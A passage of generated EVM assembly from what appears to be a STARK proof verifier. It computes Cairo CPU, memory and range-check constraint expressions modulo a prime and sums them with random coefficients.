// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[5].
res := addmod(res,
mulmod(val, /*coefficients[5]*/ mload(0x5e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/fp_update_regular_bit: cpu__decode__fp_update_regular_0 * cpu__decode__fp_update_regular_0 - cpu__decode__fp_update_regular_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[6].
res := addmod(res,
mulmod(val, /*coefficients[6]*/ mload(0x600), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem_dst_addr: column3_row8 + half_offset_size - (cpu__decode__opcode_rc__bit_0 * column6_row8 + (1 - cpu__decode__opcode_rc__bit_0) * column6_row0 + column5_row0).
let val := addmod(
addmod(/*column3_row8*/ mload(0x1ce0), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0)),
PRIME),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[7].
res := addmod(res,
mulmod(val, /*coefficients[7]*/ mload(0x620), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem0_addr: column3_row4 + half_offset_size - (cpu__decode__opcode_rc__bit_1 * column6_row8 + (1 - cpu__decode__opcode_rc__bit_1) * column6_row0 + column5_row8).
let val := addmod(
addmod(/*column3_row4*/ mload(0x1ca0), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0)),
PRIME),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
/*column5_row8*/ mload(0x2200),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[8].
res := addmod(res,
mulmod(val, /*coefficients[8]*/ mload(0x640), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem1_addr: column3_row12 + half_offset_size - (cpu__decode__opcode_rc__bit_2 * column3_row0 + cpu__decode__opcode_rc__bit_4 * column6_row0 + cpu__decode__opcode_rc__bit_3 * column6_row8 + cpu__decode__flag_op1_base_op0_0 * column3_row5 + column5_row4).
let val := addmod(
addmod(/*column3_row12*/ mload(0x1d60), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
/*column3_row0*/ mload(0x1c20),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x2c00),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
/*column6_row8*/ mload(0x25e0),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
/*column3_row5*/ mload(0x1cc0),
PRIME),
PRIME),
/*column5_row4*/ mload(0x2180),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[9].
res := addmod(res,
mulmod(val, /*coefficients[9]*/ mload(0x660), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/ops_mul: column6_row4 - column3_row5 * column3_row13.
let val := addmod(
/*column6_row4*/ mload(0x2580),
sub(
PRIME,
mulmod(/*column3_row5*/ mload(0x1cc0), /*column3_row13*/ mload(0x1d80), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[10].
res := addmod(res,
mulmod(val, /*coefficients[10]*/ mload(0x680), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/res: (1 - cpu__decode__opcode_rc__bit_9) * column6_row12 - (cpu__decode__opcode_rc__bit_5 * (column3_row5 + column3_row13) + cpu__decode__opcode_rc__bit_6 * column6_row4 + cpu__decode__flag_res_op1_0 * column3_row13).
let val := addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
/*column6_row12*/ mload(0x2640),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x2c60),
addmod(/*column3_row5*/ mload(0x1cc0), /*column3_row13*/ mload(0x1d80), PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x2c80),
/*column6_row4*/ mload(0x2580),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
/*column3_row13*/ mload(0x1d80),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[11].
res := addmod(res,
mulmod(val, /*coefficients[11]*/ mload(0x6a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp0: column6_row2 - cpu__decode__opcode_rc__bit_9 * column3_row9.
let val := addmod(
/*column6_row2*/ mload(0x2560),
sub(
PRIME,
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
/*column3_row9*/ mload(0x1d00),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[12].
res := addmod(res,
mulmod(val, /*coefficients[12]*/ mload(0x6c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp1: column6_row10 - column6_row2 * column6_row12.
let val := addmod(
/*column6_row10*/ mload(0x2620),
sub(
PRIME,
mulmod(/*column6_row2*/ mload(0x2560), /*column6_row12*/ mload(0x2640), PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[13].
res := addmod(res,
mulmod(val, /*coefficients[13]*/ mload(0x6e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_negative: (1 - cpu__decode__opcode_rc__bit_9) * column3_row16 + column6_row2 * (column3_row16 - (column3_row0 + column3_row13)) - (cpu__decode__flag_pc_update_regular_0 * npc_reg_0 + cpu__decode__opcode_rc__bit_7 * column6_row12 + cpu__decode__opcode_rc__bit_8 * (column3_row0 + column6_row12)).
let val := addmod(
addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
/*column3_row16*/ mload(0x1da0),
PRIME),
mulmod(
/*column6_row2*/ mload(0x2560),
addmod(
/*column3_row16*/ mload(0x1da0),
sub(
PRIME,
addmod(/*column3_row0*/ mload(0x1c20), /*column3_row13*/ mload(0x1d80), PRIME)),
PRIME),
PRIME),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
/*intermediate_value/npc_reg_0*/ mload(0x2dc0),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*column6_row12*/ mload(0x2640),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x2d00),
addmod(/*column3_row0*/ mload(0x1c20), /*column6_row12*/ mload(0x2640), PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[14].
res := addmod(res,
mulmod(val, /*coefficients[14]*/ mload(0x700), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_positive: (column6_row10 - cpu__decode__opcode_rc__bit_9) * (column3_row16 - npc_reg_0).
let val := mulmod(
addmod(
/*column6_row10*/ mload(0x2620),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
addmod(
/*column3_row16*/ mload(0x1da0),
sub(PRIME, /*intermediate_value/npc_reg_0*/ mload(0x2dc0)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[15].
res := addmod(res,
mulmod(val, /*coefficients[15]*/ mload(0x720), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_ap/ap_update: column6_row16 - (column6_row0 + cpu__decode__opcode_rc__bit_10 * column6_row12 + cpu__decode__opcode_rc__bit_11 + cpu__decode__opcode_rc__bit_12 * 2).
let val := addmod(
/*column6_row16*/ mload(0x26a0),
sub(
PRIME,
addmod(
addmod(
addmod(
/*column6_row0*/ mload(0x2520),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_10*/ mload(0x2de0),
/*column6_row12*/ mload(0x2640),
PRIME),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_11*/ mload(0x2e00),
PRIME),
mulmod(/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40), 2, PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[16].
res := addmod(res,
mulmod(val, /*coefficients[16]*/ mload(0x740), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_fp/fp_update: column6_row24 - (cpu__decode__fp_update_regular_0 * column6_row8 + cpu__decode__opcode_rc__bit_13 * column3_row9 + cpu__decode__opcode_rc__bit_12 * (column6_row0 + 2)).
let val := addmod(
/*column6_row24*/ mload(0x2720),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
/*column3_row9*/ mload(0x1d00),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column6_row0*/ mload(0x2520), 2, PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[17].
res := addmod(res,
mulmod(val, /*coefficients[17]*/ mload(0x760), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_fp: cpu__decode__opcode_rc__bit_12 * (column3_row9 - column6_row8).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column3_row9*/ mload(0x1d00), sub(PRIME, /*column6_row8*/ mload(0x25e0)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[18].
res := addmod(res,
mulmod(val, /*coefficients[18]*/ mload(0x780), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_pc: cpu__decode__opcode_rc__bit_12 * (column3_row5 - (column3_row0 + cpu__decode__opcode_rc__bit_2 + 1)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
/*column3_row5*/ mload(0x1cc0),
sub(
PRIME,
addmod(
addmod(
/*column3_row0*/ mload(0x1c20),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
PRIME),
1,
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[19].
res := addmod(res,
mulmod(val, /*coefficients[19]*/ mload(0x7a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/off0: cpu__decode__opcode_rc__bit_12 * (column5_row0 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column5_row0*/ mload(0x2100), sub(PRIME, /*half_offset_size*/ mload(0xc0)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[20].
res := addmod(res,
mulmod(val, /*coefficients[20]*/ mload(0x7c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/off1: cpu__decode__opcode_rc__bit_12 * (column5_row8 - (half_offset_size + 1)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
/*column5_row8*/ mload(0x2200),
sub(PRIME, addmod(/*half_offset_size*/ mload(0xc0), 1, PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[21].
res := addmod(res,
mulmod(val, /*coefficients[21]*/ mload(0x7e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/flags: cpu__decode__opcode_rc__bit_12 * (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_12 + 1 + 1 - (cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_1 + 4)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
addmod(
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
PRIME),
1,
PRIME),
1,
PRIME),
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0),
PRIME),
4,
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[22].
res := addmod(res,
mulmod(val, /*coefficients[22]*/ mload(0x800), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/off0: cpu__decode__opcode_rc__bit_13 * (column5_row0 + 2 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(/*column5_row0*/ mload(0x2100), 2, PRIME),
sub(PRIME, /*half_offset_size*/ mload(0xc0)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[23].
res := addmod(res,
mulmod(val, /*coefficients[23]*/ mload(0x820), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/off2: cpu__decode__opcode_rc__bit_13 * (column5_row4 + 1 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(/*column5_row4*/ mload(0x2180), 1, PRIME),
sub(PRIME, /*half_offset_size*/ mload(0xc0)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[24].
res := addmod(res,
mulmod(val, /*coefficients[24]*/ mload(0x840), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/flags: cpu__decode__opcode_rc__bit_13 * (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_3 + cpu__decode__flag_res_op1_0 - 4).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
PRIME),
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
PRIME),
sub(PRIME, 4),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[25].
res := addmod(res,
mulmod(val, /*coefficients[25]*/ mload(0x860), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/assert_eq/assert_eq: cpu__decode__opcode_rc__bit_14 * (column3_row9 - column6_row12).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_14*/ mload(0x2e20),
addmod(/*column3_row9*/ mload(0x1d00), sub(PRIME, /*column6_row12*/ mload(0x2640)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[26].
res := addmod(res,
mulmod(val, /*coefficients[26]*/ mload(0x880), PRIME),
PRIME)
}
{
// Constraint expression for initial_ap: column6_row0 - initial_ap.
let val := addmod(/*column6_row0*/ mload(0x2520), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[27].
res := addmod(res,
mulmod(val, /*coefficients[27]*/ mload(0x8a0), PRIME),
PRIME)
}
{
// Constraint expression for initial_fp: column6_row8 - initial_ap.
let val := addmod(/*column6_row8*/ mload(0x25e0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[28].
res := addmod(res,
mulmod(val, /*coefficients[28]*/ mload(0x8c0), PRIME),
PRIME)
}
{
// Constraint expression for initial_pc: column3_row0 - initial_pc.
let val := addmod(/*column3_row0*/ mload(0x1c20), sub(PRIME, /*initial_pc*/ mload(0x100)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[29].
res := addmod(res,
mulmod(val, /*coefficients[29]*/ mload(0x8e0), PRIME),
PRIME)
}
{
// Constraint expression for final_ap: column6_row0 - final_ap.
let val := addmod(/*column6_row0*/ mload(0x2520), sub(PRIME, /*final_ap*/ mload(0x120)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[30].
res := addmod(res,
mulmod(val, /*coefficients[30]*/ mload(0x900), PRIME),
PRIME)
}
{
// Constraint expression for final_fp: column6_row8 - initial_ap.
let val := addmod(/*column6_row8*/ mload(0x25e0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[31].
res := addmod(res,
mulmod(val, /*coefficients[31]*/ mload(0x920), PRIME),
PRIME)
}
{
// Constraint expression for final_pc: column3_row0 - final_pc.
let val := addmod(/*column3_row0*/ mload(0x1c20), sub(PRIME, /*final_pc*/ mload(0x140)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[32].
res := addmod(res,
mulmod(val, /*coefficients[32]*/ mload(0x940), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/init0: (memory/multi_column_perm/perm/interaction_elm - (column4_row0 + memory/multi_column_perm/hash_interaction_elm0 * column4_row1)) * column9_inter1_row0 + column3_row0 + memory/multi_column_perm/hash_interaction_elm0 * column3_row1 - memory/multi_column_perm/perm/interaction_elm.
let val := addmod(
addmod(
addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column4_row0*/ mload(0x2080),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column4_row1*/ mload(0x20a0),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row0*/ mload(0x2b40),
PRIME),
/*column3_row0*/ mload(0x1c20),
PRIME),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column3_row1*/ mload(0x1c40),
PRIME),
PRIME),
sub(PRIME, /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[33].
res := addmod(res,
mulmod(val, /*coefficients[33]*/ mload(0x960), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/step0: (memory/multi_column_perm/perm/interaction_elm - (column4_row2 + memory/multi_column_perm/hash_interaction_elm0 * column4_row3)) * column9_inter1_row2 - (memory/multi_column_perm/perm/interaction_elm - (column3_row2 + memory/multi_column_perm/hash_interaction_elm0 * column3_row3)) * column9_inter1_row0.
let val := addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column4_row2*/ mload(0x20c0),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column4_row3*/ mload(0x20e0),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row2*/ mload(0x2b80),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column3_row2*/ mload(0x1c60),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column3_row3*/ mload(0x1c80),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row0*/ mload(0x2b40),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[34].
res := addmod(res,
mulmod(val, /*coefficients[34]*/ mload(0x980), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/last: column9_inter1_row0 - memory/multi_column_perm/perm/public_memory_prod.
let val := addmod(
/*column9_inter1_row0*/ mload(0x2b40),
sub(PRIME, /*memory/multi_column_perm/perm/public_memory_prod*/ mload(0x1a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= denominator_invs[6].
val := mulmod(val, mload(0x3660), PRIME)
// res += val * coefficients[35].
res := addmod(res,
mulmod(val, /*coefficients[35]*/ mload(0x9a0), PRIME),
PRIME)
}
{
// Constraint expression for memory/diff_is_bit: memory__address_diff_0 * memory__address_diff_0 - memory__address_diff_0.
let val := addmod(
mulmod(
/*intermediate_value/memory/address_diff_0*/ mload(0x2e40),
/*intermediate_value/memory/address_diff_0*/ mload(0x2e40),
PRIME),
sub(PRIME, /*intermediate_value/memory/address_diff_0*/ mload(0x2e40)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[36].
res := addmod(res,
mulmod(val, /*coefficients[36]*/ mload(0x9c0), PRIME),
PRIME)
}
{
// Constraint expression for memory/is_func: (memory__address_diff_0 - 1) * (column4_row1 - column4_row3).
let val := mulmod(
addmod(/*intermediate_value/memory/address_diff_0*/ mload(0x2e40), sub(PRIME, 1), PRIME),
addmod(/*column4_row1*/ mload(0x20a0), sub(PRIME, /*column4_row3*/ mload(0x20e0)), PRIME),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[37].
res := addmod(res,
mulmod(val, /*coefficients[37]*/ mload(0x9e0), PRIME),
PRIME)
}
{
// Constraint expression for memory/initial_addr: column4_row0 - 1.
let val := addmod(/*column4_row0*/ mload(0x2080), sub(PRIME, 1), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[38].
res := addmod(res,
mulmod(val, /*coefficients[38]*/ mload(0xa00), PRIME),
PRIME)
}
{
// Constraint expression for public_memory_addr_zero: column3_row2.
let val := /*column3_row2*/ mload(0x1c60)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[39].
res := addmod(res,
mulmod(val, /*coefficients[39]*/ mload(0xa20), PRIME),
PRIME)
}
{
// Constraint expression for public_memory_value_zero: column3_row3.
let val := /*column3_row3*/ mload(0x1c80)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[40].
res := addmod(res,
mulmod(val, /*coefficients[40]*/ mload(0xa40), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/init0: (rc16/perm/interaction_elm - column5_row2) * column9_inter1_row1 + column5_row0 - rc16/perm/interaction_elm.
let val := addmod(
addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row2*/ mload(0x2140)),
PRIME),
/*column9_inter1_row1*/ mload(0x2b60),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME),
